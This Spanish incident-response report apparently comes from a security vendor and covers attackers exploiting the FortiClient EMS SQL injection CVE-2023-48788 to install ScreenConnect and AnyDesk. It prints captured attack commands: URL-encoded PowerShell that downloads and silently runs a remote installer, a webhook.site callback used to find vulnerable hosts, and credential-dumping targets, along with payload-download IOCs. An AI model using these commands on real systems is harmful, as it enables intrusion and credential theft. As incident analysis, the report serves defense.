Introducción
Durante una respuesta reciente a un incidente, el equipo de GERT de Kaspersky identificó un conjunto de TTPs e indicadores relacionados con un atacante que se infiltró en las infraestructuras de la empresa apuntando a una vulnerabilidad de Fortinet con un parche ya disponible.
Esta vulnerabilidad es un filtrado incorrecto de la entrada de un comando SQL, lo que conduce a una inyección SQL. Afecta específicamente a las versiones 7.0.1 a 7.0.10 y 7.2.0 a 7.2.2 de Fortinet FortiClient EMS. Si se explota esta vulnerabilidad, los atacantes pueden ejecutar código o comandos no autorizados mediante el envío de paquetes de datos especialmente diseñados.
El sistema afectado era un servidor Windows expuesto a Internet con solo dos puertos abiertos. La empresa atacada utilizaba esta tecnología para permitir que los empleados descarguen políticas específicas en sus dispositivos corporativos, lo que les otorga acceso seguro a la VPN de Fortinet:
Identificación y contención
En octubre de 2024, las alertas de telemetría de nuestra tecnología MDR revelaron intentos de una dirección IP interna de acceder remotamente al registro mediante una cuenta de administrador en un servidor Windows del cliente. La dirección IP, desde donde se originaron las solicitudes, formaba parte de la infraestructura del cliente, pero no estaba cubierta por la solución MDR según la evaluación del cliente. Estos intentos también se dirigieron a recursos compartidos administrativos, incluidos los siguientes:
- \\192.168.X.X\C$\Users;
- \\192.168.X.X\C$\;
- \\192.168.X.X\IPC$\srvsvc;
- \\192.168.X.X\IPC$\svcctl;
- \\192.168.X.X \IPC$\winreg;
- \\192.168.X.X \ADMIN$\SYSTEM32\WqgLtykM.tmp;
- \\192.168.X.X \C$\Windows\System32\Microsoft\Protect\DPAPI Master Keys;
- \\192.168.X.X \C$\Windows\System32\Microsoft\Protect\User Keys;
- \\192.168.X.X \C$\Windows\System32\Microsoft\Protect\Protected Credentials.
Localmente, en el equipo con la dirección IP comprometida, hubo algunos intentos de volcar los valores del Registro HKLM\SAM y HKLM\SECURITY mediante el servicio de Registro remoto:
1 |
C:\Windows\system32\svchost.exe -k localService -p -s RemoteRegistry |
Las evidencias también confirmaron varios intentos fallidos de inicio de sesión alertados por Kaspersky MDR, originados desde la misma dirección IP interna en varios hosts, utilizando una cuenta ADMINISTRADOR.
Análisis y vector inicial
Al recopilar la evidencia del servidor de origen de las actividades remotas mencionadas anteriormente, se confirmó que este servidor estuvo expuesto a Internet, con dos puertos abiertos relacionados con FortiClient EMS. Los artefactos del sistema de archivos confirmaron la ejecución de herramientas de monitoreo y administración remota (RMM por sus siglas en inglés) como ScreenConnect, así como AnyDesk. Dado el uso de la tecnología FortiClient EMS, se confirmó que la versión instalada era vulnerable a CVE-2023-48788 (FortiClient EMS 7.01), por lo que fue necesario obtener evidencia adicional de los registros del sistema para explorar posibles artefactos de explotación. A continuación, se muestran algunas rutas clave donde se pueden encontrar estos registros:
- FortiClient Log – C:\Program Files\Fortinet\FortiClientEMS\logs\*
- Archivos relevantes:
- ems.log: Este es el registro principal de FortiClient EMS. Puede apuntar a comportamientos inusuales, errores de base de datos, acceso no autorizado o intentos de inyección.
- sql_trace.log o registros similares: Si este archivo está presente, puede contener información detallada sobre las consultas SQL ejecutadas. Este registro se puede revisar en busca de consultas inesperadas o con formato incorrecto, lo que podría indicar un intento de inyección de código SQL.
- MS SQL – C:\Program Files\Microsoft SQL Server\MSSQL14.FCEMS\MSSQL\Log\*
- Logs relacionados al servidor MS SQL usado por FortiClient EMS.
- Archivos relevantes:
Conseguimos descubrir la evidencia de la inyección SQL que el atacante realizó con éxito en uno de los archivos ERRORLOG en la segunda ruta, C:\Program Files\Microsoft SQL Server\MSSQL14.FCEMS\MSSQL\Log\ERRORLOG.X:
Al revisar la telemetría de Kaspersky relacionada con el mismo veredicto de detección, los expertos de GERT pudieron identificar los comandos ejecutados por los atacantes utilizando un conjunto de instrucciones contenidas en una URL codificada en Base64 que coincidía con las actividades identificadas en el sistema analizado:
1 2 3 4 5 6 7 8 9 10 11 |
Filename c:\program files\microsoft sql server\mssql14.fcems\mssql\binn\sqlservr.exe [19:40:10.147][2472][3268]PDMCreateProcess("$system32\cmd.exe",""$system32\cmd .exe" /c POWERSHELL.EXE -COMMAND ""ADD-TYPE -ASSEMBLYNAME SYSTEM.WEB; CMD.EXE /C ([SYSTEM.WEB.HTTPUTILITY]::URLDECODE("""%63%75%72%6C%20%2D%6F%20%43%3A%5C%75%7 0%64%61%74%65%2E%65%78%65%20%22%68%74%74%70%73%3A%2F%2F%69%6E%66%69%6E%69%74%7 9%2E%73%63%72%65%65%6E%63%6F%6E%6E%65%63%74%2E%63%6F%6D%2F%42%69%6E%2F%53%63%7 2%65%65%6E%43%6F%6E%6E%65%63%74%2E%43%6C%69%65%6E%74%53%65%74%75%70%2E%65%78%6 5%3F%65%3D%41%63%63%65%73%73%26%79%3D%47%75%65%73%74%22%20%26%20%73%74%61%72%7 4%20%2F%42%20%43%3A%5C%75%70%64%61%74%65%2E%65%78%65"""))""" |
El código decodificado es el siguiente:
1 2 3 |
curl -o C:\update.exe "https://infinity.screenconnect[.]com/Bin/ScreenConnect.ClientSetup.exe?e=Acce ss&y=Guest" & start /B C:\update.exe |
Los atacantes aprovecharon el comando curl (pero también hemos observado el uso del binario nativo de Windows certutil para el mismo propósito) para descargar el instalador de la aplicación de acceso remoto ScreenConnect. Este instalador se almacenaría como update.exe en la raíz de la unidad C:, que luego se ejecutaría en segundo plano. En este caso, según el parámetro y=Guest en la consulta de URL, al parecer los atacantes se basaron en una licencia de prueba de ScreenConnect.
Después de la instalación inicial, identificamos que los atacantes comenzaron a cargar aplicaciones adicionales al sistema comprometido, para comenzar actividades de descubrimiento y movimiento lateral, como enumerar recursos de red, intentar obtener credenciales, realizar técnicas de evasión de defensa, así como generar otro tipo de persistencia utilizando la herramienta de control remoto AnyDesk. Las cargas útiles detectadas se proporcionan en la tabla siguiente:
Enumeración de Network:
|
Robo de credenciales:
|
Evasión de defensa:
Los atacantes utilizaron una herramienta llamada HRSword.exe (Huorong Internet Security) para realizar técnicas de evasión de defensa. |
Control Remoto:
|
Después de confirmar el éxito de la explotación, logramos recopilar evidencia adicional. Al analizar los registros de AnyDesk, logramos obtener una dirección IP como parte de la intrusión:
Según fuentes de inteligencia de amenazas cibernéticas, esta dirección IP pertenece a la región rusa y ha sido marcada como parte de la infraestructura vinculada a la campaña maliciosa que abusó de Cobalt Strike.
Análisis de telemetría para casos relacionados con la misma amenaza
Nuestra telemetría reveló que los actores de amenazas han estado apuntando a varias empresas y alterando constantemente los subdominios de ScreenConnect, aparentemente cambiándolos independientemente del objetivo específico:
Aparte del comportamiento anterior, los expertos de GERT pudieron detectar intentos de descargar y ejecución de diferentes cargas útiles de recursos externos adicionales no clasificados que se utilizaron en otros incidentes de explotación. De acuerdo a esto, es seguro suponer que otros atacantes están abusando de la misma vulnerabilidad con una carga útil de segunda etapa diferente dirigida a múltiples objetivos.
En cuanto a las regiones y países afectados por los intentos de explotar esta vulnerabilidad con otras cargas útiles, podemos confirmar que esta amenaza no se dirige a ubicaciones específicas, aunque hemos observado una ligera inclinación de los ataques hacia América del Sur (5 de 15).
Países a los que se dirigen otras cargas maliciosas, abril a noviembre 2024 (descargar)
Un “enfoque” en constante evolución para abusar de la vulnerabilidad: incidentes similares
A raíz de la amenaza, el 23 de octubre de 2024, los analistas de GERT detectaron que la vulnerabilidad CVE-2023-48788 estaba siendo activamente abusada e intentaba ejecutar un comando similar. Pero esta vez, la actividad implicó el uso del servicio gratuito proporcionado por el dominio “webhook.site”:
1 2 3 4 5 6 7 8 |
"C:\Windows\system32\cmd.exe" /c POWERSHELL.EXE -COMMAND ""ADD- TYPE -ASSEMBLYNAME SYSTEM.WEB; CMD.EXE /C ([SYSTEM.WEB.HTTPUTILITY]::URLDECODE("""%70%6f%77%65%72%73%68%65%6 c%6c%20%2d%63%20%22%69%77%72%20%2d%55%72%69%20%68%74%74%70%73%3a%2 f%2f%77%65%62%68%6f%6f%6b%2e%73%69%74%65%2f%32%37%38%66%58%58%58%5 8%2d%63%61%33%62%2d[REDACTED]%2d%39%36%65%34%2d%58%58%58%58%34%35% 61%61%36%38%30%39%20%2d%4d%65%74%68%6f%64%20%50%6f%73%74%20%2d%42% 6f%64%79%20%27%74%65%73%74%27%20%3e%20%24%6e%75%6c%6c%22"""))"" |
Cuando se decodificó, resultó ser una cadena de comandos con un comando final PS1:
1 2 3 |
cmd.exe -> POWERSHELL.EXE -> CMD.exe -> powershell -c "iwr -Uri hxxps://webhook.site/278fXXXX-ca3b-[REDACTED]-96e4-XXXX45aa6809 -Method Post -Body 'test' > $null" |
A partir de la información de webhook.site, este servicio “genera URLs y direcciones de correo electrónico gratuitas y únicas y permite ver todo lo que se envía allí al instante”. La unicidad está garantizada por un token generado incluido en la URL, la dirección de correo electrónico o el dominio DNS. Los usuarios pueden habilitar el servicio de forma gratuita o incluir servicios y funcionalidades adicionales mediante el pago de una tarifa:
Los expertos de GERT confirmaron que los actores de amenazas estaban utilizando este servicio para recopilar respuestas de objetivos vulnerables mientras realizaban un escaneo de los sistemas afectados con la vulnerabilidad FortiClient EMS. Conociendo el token específico de webhook.site utilizado por los atacantes, y valdidandolo durante el lapso de tiempo de 5 horas del 23 de octubre, pudimos identificar 25 solicitudes a webhook.site: 22 de ellas originadas en distintas IP de origen de objetivos vulnerables ubicados en 18 países diferentes y otras 3 solicitudes provenientes de una fuente, resaltadas en rojo.
Países a los que se destinaron más actividades maliciosas en octubre 23, 2024 (descargar)
Tres solicitudes se originan en la misma dirección IP 135.XXX.XX.47 ubicada en Alemania y alojada en Hetzner Online GmbH. Esta IP tiene una mala reputación y se asoció a una amenaza de robo de información durante octubre y noviembre del año anterior, aunque no estamos seguros de que esta dirección sea abusada por los actores de amenazas o que sea parte de su infraestructura. Este host muestra los puertos abiertos 80 y 7777 con servicio HTTP en el 80 y un servicio SSL en el puerto 7777.
En el puerto 80 se aloja una interfaz web de PRTG Network Monitor 24.1.92.1554 x64 con lo que parece ser una configuración predeterminada y una licencia de prueba de PRTG Freeware que caducó el 24 de octubre de 2020.
En el puerto 7777, el nombre común del certificado SSL es WIN-LIVFRVQFMKO. El análisis de inteligencia de amenazas indicó que se sabe que este host es utilizado con frecuencia por varios actores de amenazas, entre ellos los grupos de ransomware Conti y LockBit. Sin embargo, también podría ser un “nombre de host de plantilla del sistema operativo Windows” predeterminado utilizado por el proveedor de alojamiento Hetzner.
Debido a los múltiples intentos de acceso exitosos al webhook.site y a varias variaciones sospechosas descubiertas en el contenido HTTP POST, los analistas de GERT suponen que este host podría ser una “instalación de PRTG obsoleta” de alguna manera comprometida y controlada por el atacante, y luego utilizada para realizar las pruebas del servicio proporcionado por “webhook.site”.
Tácticas, técnicas y procedimientos
A continuación se muestran los TTP identificados en función de nuestro análisis y detecciones
Tactic | Technique | ID | Details |
Initial Access | Exploit Public-Facing Application | T1190 | Exploitation of FortiClient EMS for initial access. |
Defense Evasion, Persistence, Privilege Escalation | Valid Accounts: Domain Accounts | T1078.002 | Using accounts with administrator permissions to access via remote sessions, lateral movement, and application execution. |
Defense Evasion | Impair Defenses: Disable or Modify Tools | T1562.001 | Various security applications were manipulated during interactive sessions. |
Execution | Command and Scripting Interpreter: PowerShell | T1059.001 | PowerShell was used to run the ConnectWise download and installation commands. |
Lateral Movement | Remote Services | T1021 | Lateral movements using RDP. |
Command and Control | Ingress tool transfer | T1105 | Transfer of files from the attacker to the infrastructure, using legitimate applications. |
Lateral Movement | Lateral Tool Transfer | T1570 | Transferring applications to other systems in the infrastructure using legitimate network services and compromised users. |
Credential Access | Credentials from Password Stores | T1555 | Using Mimikatz to harvest credentials from local storage. |
Conclusiones
El análisis de este incidente permitió identificar que las técnicas que actualmente utilizan los atacantes para desplegar herramientas de acceso remoto se actualizan constantemente y se vuelven más complicadas. Aunque la vulnerabilidad en cuestión (CVE-2023-48788) se parcheó en el momento de los ataques investigados, sugerimos que múltiples actores de amenazas pudieron explotarla, poniendo en peligro a múltiples usuarios en varias regiones. Eso sirve como un duro recordatorio para actualizar constantemente las tecnologías que permanecen expuestas a Internet, ya que esto puede ser un vector inicial para un incidente cibernético, en el caso de FortiClient EMS, a las versiones 7.0.11–7.0.13 o 7.2.3 y superiores. La implementación de notificaciones de alerta y gestión de parches para cualquier aplicación con acceso público directo o indirecto complementa el proceso de actualización regular. Cabe destacar que la implementación de MDR en equipos vecinos al vector inicial fue capaz de detectar y bloquear a los atacantes de manera oportuna, impidiéndoles alcanzar sus objetivos finales y evitando que causaran un gran impacto dentro de la infraestructura de la organización. Además, la instalación de agentes que monitoreen y detecten constantemente las amenazas en los equipos puede ser un factor clave para contener una amenaza durante un incidente.
Indicadores de compromiso
Applications/Filenames from the incident
C:\update.exe
HRSword.exe
Mimik!!!.exe
br.exe
donpapi.exe
netpass64.exe
webbrowserpassview.exe
netscan.exe
connectwise / ScreenConnect
AnyDesk
HASH – SHA1 from the incident
8cfd968741a7c8ec2dcbe0f5333674025e6be1dc
441a52f0112da187244eeec5b24a79f40cc17d47
746710470586076bb0757e0b3875de9c90202be2
bc29888042d03fe0ffb57fc116585e992a4fdb9b
73f8e5c17b49b9f2703fed59cc2be77239e904f7
841fff3a36d82c14b044da26967eb2a8f61175a8
34162aaf41c08f0de2f888728b7f4dc2a43b50ec
cf1ca6c7f818e72454c923fea7824a8f6930cb08
e3b6ea8c46fa831cec6f235a5cf48b38a4ae8d69
59e1322440b4601d614277fe9092902b6ca471c2
75ebd5bab5e2707d4533579a34d983b65af5ec7f
83cff3719c7799a3e27a567042e861106f33bb19
44b83dd83d189f19e54700a288035be8aa7c8672
8834f7ab3d4aa5fb14d851c7790e1a6812ea4ca8
Domains / IP addresses from the incident
45.141.84[.]45
infinity.screenconnect[.]com
kle.screenconnect[.]com
trembly.screenconnect[.]com
corsmich.screenconnect[.]com
Domains / IP addresses from additional malicious payloads discovered
185.216.70.170:1337
hxxps://sipaco2.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://trembly.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://corsmich.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://myleka.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://petit.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://lindeman.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://sorina.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://kle.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://infinity.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://solarnyx2410150445.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://allwebemails1.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://web-r6hl0n.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxp://185.196.9.31:8080/bd7OZy3uMQL-YabI8FHeRw
HXXP://148.251.53.222:14443/SETUP.MSI
hxxps://webhook.site/7ece827e-d440-46fd-9b22-cc9a01db03c8
hxxps://webhook.site/d0f4440c-927c-460a-a543-50d4fc87c8a4
HXXP://185.216.70.170/OO.BAT
HXXP://185.216.70.170/HELLO
HXXP://185.216.70.170/A
hxxp://185.216.70.170
hxxp://185.216.70.170/oo.bat
hxxp://185.216.70.170/hello
hxxp://185.216.70.170/sos.txt
hxxp://185.216.70.170/72.bat
hxxp://206.206.77.33:8080/xeY_J7tYzjajqYj4MbtB0w
qvmlaztyjogwgkikmknv2ch3t5yhb6vw4.oast.fun
hxxp://5.61.59.201:8080/FlNOfGPkOL4qc_gYuWeEYQ %TEMP%\gfLQPbNLYYYh.exe
hxxp://5.61.59.201:8080/7k9XBvjahnQK09abSc8SpA %TEMP%\FaLNkAQGOe.exe
hxxp://5.61.59.201:8080/7k9XBvjahnQK09abSc8SpA %TEMP%\QgCNsJRB.exe
hxxps://www.lidahtoto2.com/assets/im.ps1
hxxp://87.120.125.55:8080/BW_qY1OFZRv7iNiY_nOTFQ %TEMP%\EdgouRkWzLsK.exe
Atacantes explotan masivamente una vulnerabilidad parcheada de FortiClient EMS